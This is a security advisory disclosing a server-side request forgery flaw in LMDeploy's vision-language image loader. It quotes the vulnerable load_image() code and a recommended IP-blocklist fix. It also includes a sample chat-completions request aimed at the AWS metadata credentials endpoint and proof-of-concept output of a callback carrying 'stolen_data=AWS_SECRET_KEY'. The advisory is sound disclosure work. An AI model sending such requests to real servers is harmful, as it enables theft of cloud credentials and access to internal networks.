GHSA-6w67-hwm5-92mq
LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
## Affected Versions
- **Tested on:** main branch (2026-02-04)
- **Affected:** All versions prior to 0.12.3
## Vulnerable Code
**File:** `lmdeploy/vl/utils.py` (lines 64-67)
```python
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
# ...
if image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
# NO VALIDATION OF URL/IP BEFORE REQUEST
```
**Also affected:** `encode_image_base64()` function (lines 26-29)
## Root Cause
1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to `0.0.0.0` by default (api_server.py line 1393)
4. API keys disabled by default
## Attack Scenario
1. LMDeploy server deployed with vision-language model
2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:
```python
POST /v1/chat/completions
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image"},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
]
}]
}
```
3. Server fetches URL without validation
4. Attacker receives cloud credentials
## Proof of Concept
### Verified Exploitation Result
```
╔═══════════════════════════════════════════════════════════════════════╗
║ LMDeploy SSRF Vulnerability - Proof of Concept ║
╚═══════════════════════════════════════════════════════════════════════╝
[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...
======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
Time: 2026-02-04 16:10:57
Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
Client: 127.0.0.1:51154
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================
✅ SSRF VULNERABILITY CONFIRMED!
```
## Impact
- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs
- **Internal Service Access:** Reach services not exposed to internet
- **Information Disclosure:** Port scan internal networks
- **Lateral Movement:** Pivot point for further attacks
## Recommended Fix
```python
from urllib.parse import urlparse
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'),
]
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
ip = socket.gethostbyname(parsed.hostname)
ip_addr = ipaddress.ip_address(ip)
return not any(ip_addr in network for network in BLOCKED_NETWORKS)
except:
return False
```
---
## Credit
This vulnerability was discovered as part of Orca Security's research.
**Researcher:** Igor Stepansky
**Organization:** Orca Security
**Emails:**
[email protected]
[email protected]
References
External links from the advisory. They lead to third-party sites.
- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
- https://nvd.nist.gov/vuln/detail/CVE-2026-33626
- https://github.com/InternLM/lmdeploy/pull/4447
- https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
- https://github.com/InternLM/lmdeploy
- https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3